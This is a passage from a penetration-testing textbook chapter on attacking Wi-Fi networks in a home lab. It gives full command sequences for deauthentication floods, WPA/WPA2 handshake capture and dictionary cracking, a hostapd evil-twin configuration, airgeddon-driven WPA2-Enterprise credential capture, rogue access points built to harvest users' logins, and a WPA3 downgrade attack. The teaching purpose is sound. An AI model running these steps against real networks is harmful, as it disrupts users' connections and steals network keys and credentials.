The longer airodump-ng is running on your Kali Linux machine, the more probes and beacons 
it will capture from wireless clients and access points respectively, displaying all nearby devices. 
The following screenshot shows an example of wireless clients and the PNL:

Figure 14.16: Identifying the PNL

By mimicking the SSIDs from the client’s PNL, a penetration tester can establish a deceptive 
access point, known as an “evil twin” attack. The evil twin tricks the wireless client into con-
necting with the fraudulent network by responding to the client’s probe requests, allowing the 
penetration tester to evaluate the client’s vulnerability to such attacks.

The wireless client sends a broadcast probe request that contains the SSID and 
other details for a target wireless network that the client wants to establish a con-
nection with. The probe message helps the wireless client discover and connect 
to any saved wireless networks. The information found within a probe will help a 
penetration tester to determine a wireless client’s MAC address and the preferred 
list of wireless networks the client is searching for. Furthermore, you can deter-
mine which clients are associated with an AP with MAC address filtering enabled. 
You can identify a list of the authorized clients that are connected and spoof their 
MAC addresses on your attacker machine.
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7. Next, to monitor all IEEE 802.11 networks operating on a specific channel, use the airodump-
ng -c <channel-number> command on airodump-ng:

kali@kali:~$ sudo airodump-ng -c 6 wlan0mon

As shown in the following screenshot, only IEEE 802.11 wireless networks that operate on 
channel 6 of the 2.4 GHz band have been shown:

Figure 14.17: Filtering a specific channel

8. To filter a specific wireless network by its SSID name and its operating channel, use the 
airodump-ng -c <channel-number> --essid <ESSID name> command:

kali@kali:~$ sudo airodump-ng -c 6 --essid Target_Net wlan0mon

9. As shown in the following screenshot, only the Target_Net network has been filtered:

Figure 14.18: Finding the target

Sometimes, an organization may implement an access control list on their wireless routers and access 
points to permit only authorized devices. MAC filtering does not stop a threat actor or penetration tester 
from gaining access because, during wireless reconnaissance, the penetration tester can easily identify 
which clients are associated with a targeted wireless network based on their MAC addresses. Next, you 
will learn how to determine the MAC addresses of authorized clients on a specific wireless network.
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Identifying the associated clients of a targeted network
IT professionals may configure a wireless router or access point with MAC filtering to permit only 
specific wireless clients on the wireless network. While many organizations rely on this feature to 
prevent unauthorized devices from joining their network, penetration testers can scan nearby wireless 
clients and determine their MAC addresses, which can be leveraged to bypass wireless networks with 
MAC filtering, perform social engineering techniques to trick users into connecting to a rogue network 
to intercept and/or redirect their traffic, and implant malware such as backdoors on user devices to 
allow the penetration tester to access the targeted network when the malware-infected devices are 
connected to the organization’s network.

To discover the associated wireless clients for a specific wireless network, follow these steps:

1. On Kali Linux, ensure your wireless network adapter (Alfa AWUS036NHA) is connected to your 
virtual machine and is in Monitor mode. Ensure that you have a few wireless clients connected 
to the wireless network.

2. Next, open Terminal (#1) within Kali Linux and use the sudo airodump-ng wlan0mon command 
to discover all nearby IEEE 802.11 wireless networks. Then, determine whether your targeted 
wireless network is in range:

Figure 14.19: Identifying stations

3. Once you’ve found your target within range, stop airodump-ng from scanning by using the 
Ctrl + C keyboard shortcut.

4. Assuming your target is Target_Net, which is operating on channel 6, use the following com-
mand filter only your target:

kali@kali:~$ sudo airodump-ng -c 6 --essid Target_Net wlan0mon
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5. Next, open a new Terminal (#2) and perform a de-authentication attack on the target wireless 
network using aireplay-ng. Use the following commands, which get aireplay-ng to send 
100 de-authentication WLAN frames to all devices that are associated with (connected to) the 
Target_Net wireless network:

kali@kali:~$ sudo aireplay-ng -0 100 -e Target_Net wlan0mon

The following screenshot shows aireplay-ng performing a de-authentication attack on the 
target:

Figure 14.20: Deauthentication attack

6. Next, while the de-authentication attack is in progress, switch to the airodump-ng window 
(Terminal #1) and notice the MAC addresses of the associated wireless clients appear under 
the STATION column:

Figure 14.21: Capturing WPA handshakes

As shown in the preceding screenshot, airodump-ng displays the STATION to BSSID associa-
tion, which helps penetration testers easily identify which wireless client is associated with 
a specific access point.

7. Lastly, you can use the pre-installed MAC changer tool within Kali Linux to spoof your MAC 
address on your wireless network adapter. If the organization’s security team is actively mon-
itoring for suspicious activities, spoofing your MAC address to a common device address such 
as a network printer or a popular vendor system will not trigger any immediate suspicion or 
investigations.
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Having completed this section, you have gained the skills and hands-on experience to perform recon-
naissance on IEEE 802.11 wireless networks and have discovered how to determine the MAC addresses 
of authorized wireless clients for a specific wireless network. In the next section, you will learn how 
to compromise WPA and WPA2 personal wireless networks.

Compromising WPA/WPA2 Networks
Many small and medium-sized organizations configure their wireless routers and access points to 
operate in autonomous mode, which means that each access point is independent of the others. This 
creates an issue when IT professionals have to make administrative changes to the wireless network 
as they are required to log in to each access point to make the configuration change.

However, in many instances where the access points are operating in autonomous mode, their wireless 
security configurations are usually set to WPA2-PSK (personal mode). This allows IT professionals to 
configure a single password or passphrase on the access point that is shared with anyone who wants 
to access the wireless network.

Using WPA2-PSK is recommended for small networks such as home users and small organizations 
with few users. However, there are many medium and large organizations that also use this wireless 
security mode.

As you can imagine, if many users are sharing the same password/passphrase to access the same 
wireless network, IT professionals will be unable to keep track of a specific user’s activity. However, 
as an aspiring penetration tester, you can compromise IEEE 802.11 wireless networks that use both 
WPA-PSK and WPA2-PSK security modes as they are vulnerable to brute-force and dictionary attacks. 
This allows the penetration tester to retrieve the password/passphrase for the wireless network, gain 
access, and decrypt WLAN frames.

The following are common password-cracking techniques on wireless networks:

• Dictionary attack – Dictionary attacks enable the attacker to couple a wordlist with possible 
passwords that are commonly used on systems. The attack tool such as aircrack-ng checks 
each word from the wordlist on the wireless packet capture. However, if the password is not 
found within the wordlist, the attack will fail and the penetration tester will need to try another. 
This attack method is less time consuming than brute force.

• Brute force – In a brute-force attack, the attacker machine tries every possible combination to 
identify the password/passphrase used to encrypt the WLAN frames. Since brute-force attacks 
attempt to use every possible combination, it is often very time consuming and not usually 
the go-to attack type for this reason.

WPA3 offers enhanced security features that reduce the types of security vulnerabilities 
that were exploited in previous versions, such as WPA and WPA2, by dictionary and brute-
force attacks.
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Before you begin this exercise, please ensure your wireless router has the following wireless security 
configurations set up:

Figure 14.22: Wireless router interface

While the password/passphrase is not too complex, this exercise is designed to provide you with Proofs 
of Concept (PoCs) of the techniques and strategies used by seasoned penetration testers to compromise 
an IEEE 802.11 wireless network using the WPA2-PSK security standard. In a real-world exercise, an 
organization would configure more complex passwords on their wireless routers and access points 
to restrict access from unauthorized users. However, I’ve seen organizations using weak passwords 
that are commonly found on dictionary wordlists and some are even guessable.

To start learning how to compromise an IEEE 802.11 wireless network using either the WPA-PSK or 
WPA2-PSK security standards, please follow these steps:

1. Ensure that both your wireless router and Kali Linux are powered on. Ensure there are a few 
wireless clients connected to the wireless network.

Be sure to check out the SecLists GitHub repository for additional wordlists: https://
github.com/danielmiessler/SecLists.

https://github.com/danielmiessler/SecLists
https://github.com/danielmiessler/SecLists
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Connect your wireless network adapter (Alfa AWUS036NHA) to your Kali Linux virtual machine 
and ensure it’s being recognized as a WLAN network adapter, as shown here:

Figure 14.23: Checking the wireless interface

2. Next, use airmon-ng to automatically terminate any processes that may affect the wireless 
network adapter from operating in Monitor mode:

kali@kali:~$ sudo airmon-ng check kill

3. Next, use airmon-ng to change the operating mode of the wireless adapter to Monitor mode:

kali@kali:~$ sudo airmon-ng start wlan0

As shown in the following screenshot, airmon-ng has automatically changed the wlan0 interface 
to Monitor mode by creating the wlan0mon interface:

Figure 14.24: Enabling Monitor mode
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4. Next, use the iwconfig command to verify the operating mode of the wireless interface is in 
Monitor mode as shown below:

Figure 14.25: Verifying Monitor mode

5. Next, use airodump-ng to start monitoring all nearby IEEE 802.11 wireless networks:

kali@kali:~$ sudo airodump-ng wlan0mon

As shown in the following screenshot, our Target_Net network is within the vicinity:

Figure 14.26: Wireless reconnaissance 

As shown in the preceding screenshot, we can determine the Target_Net network is within 
range of our wireless network adapter and that it’s using WPA2 with CCMP (AES) for data en-
cryption. Its operating channel and access point’s BSSID are also revealed.

6. Next, use Ctrl + C or Ctrl + Z to stop airodump-ng from scanning all the channels within the 
2.4 GHz band.

7. Next, use the following commands to enable airodump-ng to capture and store the WLAN 
frames for the Target_Net network:

kali@kali:~$ sudo airodump-ng -c 6 --essid Target_Net wlan0mon -w Target_
Net
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This command will enable airodump-ng to listen on the specific channel, filter the Target_Net 
wireless network, and store all captured WLAN frames, including the WPA/WPA2 handshake 
for the network, locally, on Kali Linux. This WPA/WPA2 four-way handshake is performed 
between a wireless client and an AP that’s using the WPA or WPA2 security mode for au-
thentication. This four-way handshake is captured by penetration testers to perform offline 
password-cracking techniques.

8. Next, open a new Terminal (#2) on Kali Linux to perform a de-authentication attack on the 
associated clients of the targeted wireless network, using aireplay-ng and the BSSID value 
of the targeted access point, use the following commands:

kali@kali:~$ sudo aireplay-ng -0 100 -a 68:7F:74:01:28:E1 wlan0mon

The -0 indicates to perform a de-authentication attack on the target, 100 specifies the number 
of packets to send, and -a specifies the BSSID of the targeted access point or wireless router.

This will cause all associated clients to disassociate and re-associate, forcing the wireless 
clients to re-send their WPA/WPA2 handshake to the access point, allowing us to capture it, 
as shown here:

Figure 14.27: Capturing WPA handshake

If the WPA/WPA2 handshake was not captured as shown in the preceding screenshot, perform 
the de-authentication attack again until the WPA handshake is captured. The de-authentication 
attack is used to force the connected wireless client to disconnect from the targeted access 
point, which then triggers the wireless client to re-connect to the targeted access point, at which 
point the WPA four-way handshake will be exchanged and captured by the penetration tester.

9. Once the WPA/WPA2 handshake has been captured, press Ctrl + C to stop the airodump-ng 
capture. This will create a Target_Net-01.cap file within your current working directory. Use 
the following commands to view all the files whose filenames begin with Target_Net:

kali@kali:~$ ls -l Target_Net*

In airodump-ng, the -c syntax specifies the channel, --essid is used to specify 
the ESSID to filter, and -w allows the captured frames to be written to an output file.
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As shown below, airodump-ng has stored the collected data in various file formats:

Figure 14.28: Capture files

10. Next, to perform offline password cracking on the WPA/WPA2 handshake within the Target_
Net-01.cap file, use aircrack-ng with the -w syntax to specify a wordlist, as shown here:

kali@kali:~$ aircrack-ng Target_Net-01.cap -w /usr/share/wordlists/
rockyou.txt

As shown in the following screenshot, aircrack-ng found the password/passphrase for the 
Target_Net wireless network:

Figure 14.29: Cracking the password

Acquiring the password/passphrase of the wireless network allows you to access the network and 
even decrypt any captured frames.

Having completed this section, you have learned how to compromise IEEE 802.11 wireless networks 
that are using either WPA-PSK or WPA2-PSK security standards. In the next section, you will learn 
how to perform an AP-less attack.
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Performing AP-less Attacks
AP-less attacks are a type of wireless-based where the penetration tester sets up an access point to 
mimic a legitimate wireless network without the need to immediately access the legitimate targeted 
network. Sometimes, this type of attack is used to determine whether users unknowingly connect 
to malicious wireless networks that are pretending to be legitimate. In addition, this attack type can 
be used to capture the WPA handshake from a wireless client that contains the legitimate key for 
accessing a targeted wireless network. 

In an AP-less attack, the access point or wireless router is not present in the vicinity but a wireless 
client such as a laptop or even a smartphone is broadcasting probes, seeking to establish a connec-
tion with a targeted wireless network that within its preferred network list. Penetration testers can 
attempt to retrieve the password/passphrase of a wireless network, even if the wireless router or 
access point is not present within the vicinity. However, a wireless client must be sending probes to 
the target wireless network.

As shown in the following diagram, a penetration tester or threat actor simply needs to set up their 
attacker machine within the vicinity of a probing wireless client to capture the WLAN frames:

Figure 14.30: Wireless probes

As we mentioned previously, the penetration tester can mimic a wireless network and trick the wireless 
client into connecting and capture the WPA/WPA2 handshake.

Please note the following guidelines before proceeding with the hands-on exercise:

• You will need two wireless network adapters connected to Kali Linux. One adapter will be 
used to create a honeypot wireless network, while the other adapter will be used to capture 
the WPA/WPA2 handshake. A wireless honeypot is simply a wireless network that’s set up by 
cybersecurity professionals to detect, deflect, and analyze unauthorized wireless network 
access attempts.

• To demonstrate a PoC, set the password for the wireless network to Password123. Connect at 
least one client to the wireless network to ensure the client saves the network information and 
password within its preferred network list. Once the network has been saved on the client, you 
can turn off the wireless router or access point as it’s no longer needed.

• Ensure the wireless client you are using for this exercise does not have any other wireless net-
works saved within its preferred network list except for the target; that is, Target_Net. This is to 
ensure the wireless client will only be sending probes for the Target_Net network and no others.
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Once you’re all set, please follow these steps to perform an AP-less attack:

1. Ensure your Kali Linux machine and wireless clients are powered on.

Connect your two wireless network adapters to Kali Linux and verify that they have been 
detected, as shown here:

Figure 14.31: Checking network adapters

As shown in the preceding screenshot, the first wireless adapter is represented as wlan0, while 
the second wireless adapter is represented as wlan1. We will be using wlan0 to listen to and 
capture the WPA/WPA2 handshake from the wireless client, while wlan1 will be used to create 
the wireless honeypot (fake network).

2. On Kali Linux, open a Terminal (#1) and use the following commands to download and install 
hostapd, a tool for creating wireless honeypots:

kali@kali:~$ sudo apt update
kali@kali:~$ sudo apt install hostapd

Next, use airmon-ng to enable Monitor mode on the wlan0 wireless network adapter:

kali@kali:~$ sudo airmon-ng check kill
kali@kali:~$ sudo airmon-ng start wlan0
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The following screenshot verifies that the new monitor interface has been created:

Figure 14.32: Enabling Monitor mode

3. Next, create a hostapd configuration to set the parameters for the wireless honeypot, use the 
following command to create a new file using Nano:

kali@kali:~$ sudo nano wpa2-attack.conf

Copy and paste the following code into the configuration file and save it:

interface=wlan1
driver=nl80211
ssid=Target_Net
wpa=2
wpa_passphrase=fakepassword
wpa_key_mgmt=WPA-PSK
rsn_pairwise=CCMP
channel=6

Next, to save the contents of the file, press CTRL + X, then Y and Enter to save and exit. The 
following parameters were used in the hostapd code:

• interface: Specifies the wireless network adapter that will broadcast the honeypot.
• driver: Specifies the driver software.
• ssid: Specifies the target SSID. This is usually taken from the preferred network list 

of a wireless client.
• wpa: Specifies the WPA version.
• wpa_passphrase: Specifies the password/passphrase to access the honeypot network. 

This should be something random.
• wpa_key_mgmt: Specifies the authentication mode.
• rsn_pairwise: CCMP specifies the use of AES for WPA2. TKIP specifies WPA.
• channel: Specifies the operating channel for the honeypot.
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The following screenshot verifies that the configuration is accurate in the wpa2-attack.conf 
file:

Figure 14.33: Fake network settings

4. Next, use airodump-ng to listen for the honeypot wireless network on the specified channel 
and SSID while capturing and storing the WLAN frames for the honeypot:

kali@kali:~$ sudo airodump-ng -c 6 --essid Target_Net wlan0mon -w 
APLessAttack

This will allow us to capture the WPA/WPA2 handshake when the wireless client attempts to 
authenticate and associate with the targeted wireless network.

5. Next, open a new Terminal (#2) and use the following command to start the honeypot using 
hostapd:

kali@kali:~$ sudo hostapd wpa2-attack.conf

As shown in the following screenshot, the honeypot has started, and the wireless client is 
attempting to authenticate to our wireless honeypot:

Figure 14.34: Starting the fake network
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6. In the airodump-ng window (Terminal #1), the WPA/WPA2 handshake will appear when the 
wireless client attempts to authenticate to the honeypot:

Figure 14.35: Capturing WPA handshake

As shown in the preceding screenshot, the ESSID shows us the network name of our honeypot, 
which is operating on channel 6 of the 2.4 GHz band. The WPA/WPA2 handshake is captured 
from the wireless client that is attempting to connect to the Target_Net network.

7. Stop the capture once the WPA/WPA2 handshake is captured by airodump-ng. This will create 
an APLessAttack-01.cap file within your current working directory, as shown below:

Figure 14.36: Listing capture files

8. Next, use aircrack-ng to perform a dictionary attack to retrieve the key:

kali@kali:~$ aircrack-ng APLessAttack-01.cap -w /usr/share/wordlists/
rockyou.txt
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As shown in the following screenshot, the password was retrieved:

Figure 14.37: Finding the password

Having completed this exercise, you have learned how to create a wireless honeypot and perform an 
AP-less attack to obtain the password for a target wireless network. In the next section, you will learn 
how to compromise enterprise wireless networks.

Exploiting Enterprise Networks
In this section, we will be utilizing the enterprise wireless lab that we built in Chapter 3, Setting Up 
for Advanced Penetration Testing Techniques, as it contains all the configurations needed to simulate 
an enterprise wireless network infrastructure that utilizes the Authentication, Authorization, and 
Accounting (AAA) framework with a RADIUS server.

The following diagram provides a visual representation of the wireless network for this exercise:

Figure 14.38: Network setup

As shown in the preceding diagram, our RADIUS server (virtual machine) will function as the access 
server, which handles the AAA functions;. The access point functions as the authenticator, which 
provides access to the network and relays authentication information to the RADIUS server, as well 
as an associated wireless client on the network.
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Before proceeding, please ensure you note the following guidelines:

• You will need two wireless network adapters.
• Ensure the access point can communicate with the RADIUS server.
• Ensure that the wireless network’s name is Target_Net.
• Ensure that the wireless client is connected (authenticated) to the wireless network.
• The user credentials to access the wireless network are bob as the username and password123 

as the password.
• If you have an issue, please revisit Chapter 3, Setting Up for Advanced Penetration Testing Tech-

niques, to validate your configuration.

The following screenshot shows the configuration to enable the access point to query the RADIUS 
server:

Figure 14.39: Wireless router settings

Once you’re all set, please go through the following subsections to compromise a WPA2-Enterprise 
network.

Part 1 – setting up for the attack
Let’s look at how to set up our attack:

1. Power on all the Kali Linux and RADIUS server virtual machines, along with the access point 
within your wireless networking lab.

2. Ensure the two wireless network adapters are connected to the Kali Linux virtual machine.
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3. On Kali Linux, open Terminal and use the following commands to install airgeddon:

kali@kali:~$ sudo apt update
kali@kali:~$ sudo apt install airgeddon -y

4. Now, start airgeddon. It will check whether your system has all the required tools:

kali@kali:~$ sudo airgeddon

As shown in the following screenshot, the essential tools are installed:

Figure 14.40: Checking essential tools

Additionally, the optional tools are also installed:

Figure 14.41: Checking optional tools
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Part 2 – choosing the target
Next, we’ll choose a target:

1. Once all the tools have been installed, start airgeddon again:

kali@kali:~$ sudo airgeddon

After it checks the availability of all tools, the following menu will appear. Simply enter the 
required number option to select one of your wireless network adapters:

Figure 14.42: Checking adapters

As shown in the preceding screenshot, both wireless adapters are detected by airgeddon as 
wlan0 and wlan1.

2. Next, choose option 5 to work with the wlan0 interface.
3. Next, select option 2 to enable Monitor mode on your wireless network adapter:

Figure 14.43: Selecting Monitor mode

If any tools are missing, they will be listed after running the sudo airgeddon command. 
Ensure you install any missing tools using the sudo apt <package-name> command 
before proceeding.
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4. Next, choose option 10 to open Enterprise attacks menu:

Figure 14.44: Selecting the attack type

5. Next, choose option 5, Create custom certificates:

Figure 14.45: Selecting certificates
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You will be required to answer various questions via an interactive menu. Your responses are 
needed to generate the custom certificates to perform the WPA2-Enterprise attack:

Figure 14.46: Generating certificates

6. Next, select option 4, Explore for targets:

Figure 14.47: Exploration mode

Once the certificates have been generated, they will be stored in the /root/
enterprise_certs/ directory on Kali Linux. These certificates are called ca.pem, 
server.pem, and server.key and have an expiration time of 10 years.
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A prompt will appear, asking to you continue. Simply hit Enter to begin discovering nearby IEEE 
802.11 wireless networks. The following window will appear, displaying wireless networks:

Figure 14.48: Identifying the target

Once you have discovered your target wireless network, click within the Explore for targets 
interface and press Ctrl + C on your keyboard to stop the scan. 

7. Next, from the Select target menu, choose the option for your target network:

Figure 14.49: Selecting the target

Part 3 – starting the attack
Now, we’ll start the attack:

1. Now that the target has been set, select option 6 to access the Smooth mode Enterprise Evil 
Twin menu:
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Figure 14.50: Attack mode

2. You will be asked, Do you want to use custom certificates during the attack? Type N for no and hit 
Enter to continue.

3. Next, select option 2 to perform a Deauth aireplay attack:

Figure 14.51: De-authentication attack mode

4. Next, you will be asked, Do you want to enable “DoS pursuit mode”? Type N for no and hit Enter 
to continue.

5. Another prompt will appear stating Do you want to continue? Type Y for yes and hit Enter to 
continue.
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6. Next, you will be asked, Do you want to spoof your MAC address during this attack? Type N for no 
and hit Enter to continue.

7. When the hash or the password is obtained during the evil twin enterprise attack, airgeddon 
will need to save the data. Specify the following directory for easy access:

/home/kali/enterprise-target_net/

8. The last prompt will appear, verifying that all parameters have been set. Hit Enter to start the 
attack, as shown here:

Figure 14.52: Attack in progress

The attack will start by creating a fake wireless network with the same SSID as the target 
while performing a de-authentication attack on any associated wireless clients of the targeted 
network. This will force the wireless clients to disconnect from the legitimate network and 
attempt to connect to the fake network. When the clients connect to the fake network, their 
user credentials and handshake are captured, and the attack stops automatically. Do not man-
ually close any of the windows.

The following window will provide instructions for when the user credentials are captured. 
Only then should you press Enter on the main script window of airgeddon:

Figure 14.53: Saving the password
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9. Another prompt will appear, Do you want to try to decrypt captured stuff? Type N for no and hit 
Enter to continue.

Part 4 – retrieving user credentials
1. You should see the following menu options on your screen. Choose option 0, Return to main 

menu:

Figure 14.54: Main menu

2. From the main menu, choose option 6 to open Offline WPA/WPA2 decrypt menu:

Figure 14.55: Password cracking mode
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3. Next, select option 2 to access the Enterprise decryption menu:

Figure 14.56: Offline decrypt mode

4. Next, select option 1 to use ( john the ripper) Dictionary attack against capture file:

Figure 14.57: Password cracking tool and technique

5. Next, you will be prompted to enter the path where the capture file is stored. Ensure you specify 
the /home/kali/enterprise-target_net/ directory, which contains two files, while using Tab 
on your keyboard to auto-complete the filename, which is john:

/home/kali/enterprise-target_net/enterprise_captured_john_<BSSID_value>_
hashes.txt

6. Next, enter the path of a dictionary wordlist file for password cracking:

/usr/share/wordlists/rockyou.txt

The following screenshot shows the menu options for the interactive questions:
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Figure 14.58: Selecting wordlist

Once John the Ripper has successfully cracked the password, it will provide the following 
results, along with the username and the password to access the WPA2-Enterprise network:

Figure 14.59: Retrieving the password

7. Lastly, you will be provided the option to save the user credentials within an offline directory 
on your Kali Linux machine.

Having completed this section, you have gained the hands-on skills and experience to compromise 
a WPA2-Enterprise network. In the next section, you will learn how to create a wireless honeypot.

Setting Up a Wi-Fi Honeypot
As an aspiring ethical hacker and penetration tester, you may need to perform extensive wireless secu-
rity testing for your company or a client organization. Creating a rogue access point with a relevant and 
interesting SSID (wireless network name), such as VIP_WiFi or Company-name_VIP, will lure employees 
to connect their personal and company-owned mobile devices to your rogue wireless network. When 
creating a rogue access point, the objective is to capture users’ credentials and sensitive information, 
as well as to detect any vulnerable wireless clients within the targeted organization.

The following are some tips to consider when deploying your rogue access point:

• Choose a suitable location to ensure there is maximum coverage for potential victims.
• De-authenticate clients from the real access point, causing them to create an association with 

the rogue access point.
• Create a captive portal to capture user credentials.
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To get started, we are going to use airgeddon once more as it contains a lot of features and functions 
that will assist us with gathering information about a targeted wireless network and its clients. It will 
also help us launch various types of attacks and lure users to associate their mobile devices with our 
rogue access point.

To get started with this exercise, please use the following instructions:

1. Power on Kali Linux and ensure it has an internet connection via its eth0 interface and that 
a wireless network adapter is connected.

2. Next, open Terminal and use the following command to start airgeddon:

kali@kali:~$ sudo airgeddon

3. Next, select your wireless network adapter to perform the attack. Select option 5 for wlan0:

Figure 14.60: Selecting internet interface

4. Next, enable Monitor mode on your wireless adapter by selecting option 2:

Figure 14.61: Monitor mode
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5. Next, select option 7 to access Evil Twin attacks menu:

Figure 14.62: Evil Twin option

6. Next, select option 4 to Explore for targets:

Figure 14.63: Evil Twin attacks menu
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A new window will appear that shows the live scan for nearby access points. In this exercise, 
the target is Target_Net. Once the target has been found, press Ctrl + C in the pop-up window 
to stop the scan and continue: 

Figure 14.64: Identifying a target

7. Next, the Select target menu will appear. Select the targeted network and hit Enter to continue:

Figure 14.65: Selecting the target
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8. Next, select option 5 to use Evil Twin attack just AP:

Figure 14.66: Attack menu

9. Next, select option 2 to perform a de-authentication attack using aireplay-ng on clients that 
are associated with the targeted wireless network:

Figure 14.67: De-auth type

10. You will be prompt with the question, Do you want to enable “DoS pursuit mode”? Type N for no 
and hit Enter to continue.
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11. Next, select the interface that has an active internet connection on Kali Linux, such as eth0:

Figure 14.68: Internet interface

12. You will be prompted with the question Do you want to continue? Type Y for yes and hit Enter 
to continue.

13. Another prompt will ask you, Do you want to spoof your MAC address during this attack? Type N 
for no and hit Enter to continue.

airgeddon will create the following four windows. Each window provides the status of the 
honeypot, the DHCP service, the de-authentication attack, and an indication of the clients 
connecting to the honeypot:

Figure 14.69: Attack in progress

Having completed this section, you have learned how to set up a wireless honeypot using Kali Linux. 
In the next section, you will learn about WPA3 wireless attacks.
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Exploiting WPA3 Attacks
At the time of writing, WPA3 is the latest wireless security standard in the wireless networking in-
dustry, having been released in 2018. As such, it has resolved various security concerns that existed 
in its predecessor, WPA2. In the previous sections, you discovered various types of attacks that a 
penetration tester can use to compromise an IEEE 802.11 wireless network using the WPA2 wireless 
security standard.

WPA2 wireless networks are highly vulnerable to wireless de-authentication attacks, which allows a 
threat actor or a penetration tester to send de-authentication frames to any wireless clients that are 
associated with a specific access point. However, WPA3 is not susceptible to de-authentication attacks 
because WPA3 uses Protected Management Frame (PMF), unlike its predecessors.

The following comparison will help you quickly understand the new features and technologies of WPA3:

• Opportunistic Wireless Encryption (OWE) is an implementation on WPA3 wireless networks 
that provides data encryption to enhance the privacy of communication on public and open 
networks that use WPA3. Compared to Open Authentication IEEE 802.11, the wireless net-
work allows any wireless client to associate with an access point without any security such 
as encryption and privacy using WPA3 – OWE allows networks to be open but provides data 
encryption and privacy for associated clients.

• SAE is a wireless cryptography protocol that is implemented on IEEE 802.11 wireless networks 
that support WPA3. Compared to WPA2-Personal networks, which use PSKs, WPA3-Personal 
or WPA3-SAE networks use SAE, which provides improved security to prevent various types 
of attacks that are common on WPA2 networks.

• WPA3-Enterprise mode supports stronger security by using a 192-bit security mode for im-
proved authentication and encryption operations.

• Transition mode allows an access point to operate in both WPA2 and WPA3 security standards 
at any given time, allowing wireless clients that support either of the standards to be associated 
with the access point.

While WPA3 seems to be secure compared to its predecessors, there are a few security vul-
nerabilities that exist at the time of writing. The following is a brief list of security flaws that 
can be found within WPA3:

• A downgrade and dictionary attack on transition mode is possible when the wireless 
network is using both WPA2 and WPA3 at the same time, allowing clients that support 
either security standard to establish a connection to the wireless network.

• In transition mode, the same password or PSK is created for both security standards 
on the same access point. This allows a threat actor or a penetration tester to create a 
wireless honeypot within the vicinity of the target wireless network, forcing wireless 
clients to connect to the WPA2 rogue wireless network. This allows the threat actor or 
penetration tester to capture the partial WPA2 handshake, which can be used to retrieve 
the password or PSK of the target network.
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• In a security group downgrade attack, the threat actor or penetration tester understands 
that various security groups are supported by the WPA3 client and the access point. 
When the wireless client attempts to associate with the access point, they will negotiate 
on a common supported security group before establishing an association.

The threat actor or penetration tester can create a rogue WPA3 wireless network when the wireless 
client attempts to associate with the fake network, while the threat actor can force the wireless client 
to choose a weaker or less secure security group.

Next, you will learn how to perform a WPA3 downgrade wireless attack.

Performing a Downgrade and Dictionary Attack
In a wireless downgrade attack, the penetration tester forces the targeted wireless router or access 
point to use an older wireless security standard that is less secure, such as WPA2 instead of the newer 
and more secure WPA3. This technique is employed to compromise security vulnerabilities that exist 
in the older version (WPA2) but not in the newer security standard (WPA3).

In this exercise, you will learn how to compromise a WPA3 wireless network that supports transition 
mode, which allows wireless clients that only use WPA2 to be associated with the WPA3 wireless 
network.

Before you get started with this exercise, please ensure you implement the following guidelines:

• You will need an access point or a wireless router that supports WPA3 transition mode.
• You will also need a wireless client that supports WPA2 only.
• Ensure that the wireless network has been configured with the Password123 password to 

demonstrate this proof of concept.
• Ensure that the wireless client is associated with the wireless network.

Once you’re all set, please follow these steps to compromise WPA3:

1. Ensure that your wireless router, the wireless client, and Kali Linux are powered on.
2. Connect your wireless network adapter to your Kali Linux virtual machine and ensure it is 

recognized as a WLAN network adapter by using the iwconfig command, as shown here:
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3. Next, use airmon-ng to automatically terminate any processes that may affect the wireless 
network adapter from operating in Monitor mode:

kali@kali:~$ sudo airmon-ng check kill

4. Next, use airmon-ng to change the operating mode of the wireless adapter to Monitor mode:

kali@kali:~$ sudo airmon-ng start wlan0

As shown in the following screenshot, airmon-ng has automatically changed the wlan0 interface 
to Monitor mode by creating the wlan0mon interface:

Figure 14.71: Enabling Monitor mode

5. Next, use the iwconfig command to verify the operating mode of the new interface:

Figure 14.72: Verifying Monitor mode

6. Next, use airodump-ng to start monitoring all nearby IEEE 802.11 wireless networks:

kali@kali:~$ sudo airodump-ng wlan0mon
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As shown in the following screenshot, our target WPA3_Target_Net is within the vicinity:

Figure 14.73: Identifying a target

As shown in the preceding screenshot, the WPA3_Target_Net network is using WPA3 as the 
encryption standard, CCMP as the cipher, and SAE as the authentication method. Keep in mind 
that CCMP is supported by WPA2 networks.

7. Next, press Ctrl + C on your keyboard to stop airodump-ng from scanning all 2.4 GHz channels.
8. Use the following commands to create a filter using airodump-ng to scan on the specific channel 

of the target network. This will filter the ESSID and write any captured data to an output file:

kali@kali:~$ sudo airodump-ng -c 8 --essid WPA3_Target_Net wlan0mon -w 
WPA3_downgrade

9. Next, open a new Terminal (#2) and use the following command to perform a de-authentication 
attack on all the clients that are associated with the BSSID of the targeted wireless network:

kali@kali:~$ sudo aireplay-ng -0 100 -a 92:83:C4:0C:5B:88 wlan0mon

The following screenshot shows a deauthentication attack being performed on the WPA3 
wireless network:

Figure 14.74: De-authentication attack
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10. Head on over back to the airodump-ng window (Terminal #1). When the deauthentication 
attack ends, the wireless client will attempt to re-associate with the targeted network and 
send the WPA handshake:

Figure 14.75: WPA handshake

11. Once the handshake has been captured, stop airodump-ng by pressing Ctrl + C on your keyboard.
12. Use aircrack-ng to perform an offline password crack on the captured file:

kali@kali:~$ aircrack-ng WPA3_downgrade-01.cap -w /usr/share/wordlists/
rockyou.txt 

As shown in the following screenshot, aircrack-ng was able to retrieve the password for the 
WPA3 wireless network:

Figure 14.76: Password found

Having completed this section, you have learned about the security vulnerabilities within WPA3 and 
know how to perform downgrades and a dictionary attack on a WPA3 network. In the next chapter, 
you will learn about various strategies to improve the security posture of wireless networks.
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Summary
In this chapter, you learned about the fundamentals of wireless networking and the security mecha-
nisms that are used to provide a layer of security to users and organizations who implement wireless 
networking within their companies. Furthermore, you now know how to compromise WPA, WPA2, 
WPA3, personal, and enterprise networks. Additionally, you have learned how to perform an AP-less 
attack, which allows a penetration tester to retrieve the password of a probing client where the desired 
access point is not present within the vicinity. Lastly, you learned how to create wireless honeypots, 
which act as an evil twin, and rogue access points.

I trust that the knowledge presented in this chapter has provided you with valuable insights, sup-
porting your path toward becoming an ethical hacker and penetration tester in the dynamic field 
of cybersecurity. May this newfound understanding empower you in your journey, allowing you to 
navigate the industry with confidence and make a significant impact. In the next chapter, Exploring 
Social Engineering Attacks, you will perform various types of social engineering attacks to trick unaware 
users into performing actions and even revealing their user credentials.

Further Reading
• Wireless attacks and mitigation – https://resources.infosecinstitute.com/topics/

network-security-101/wireless-attacks-and-mitigation/

• Guidelines for securing WLANs – https://csrc.nist.gov/pubs/sp/800/153/final

Join our community on Discord
Join our community’s Discord space for discussions with the author and other readers:

https://packt.link/SecNet

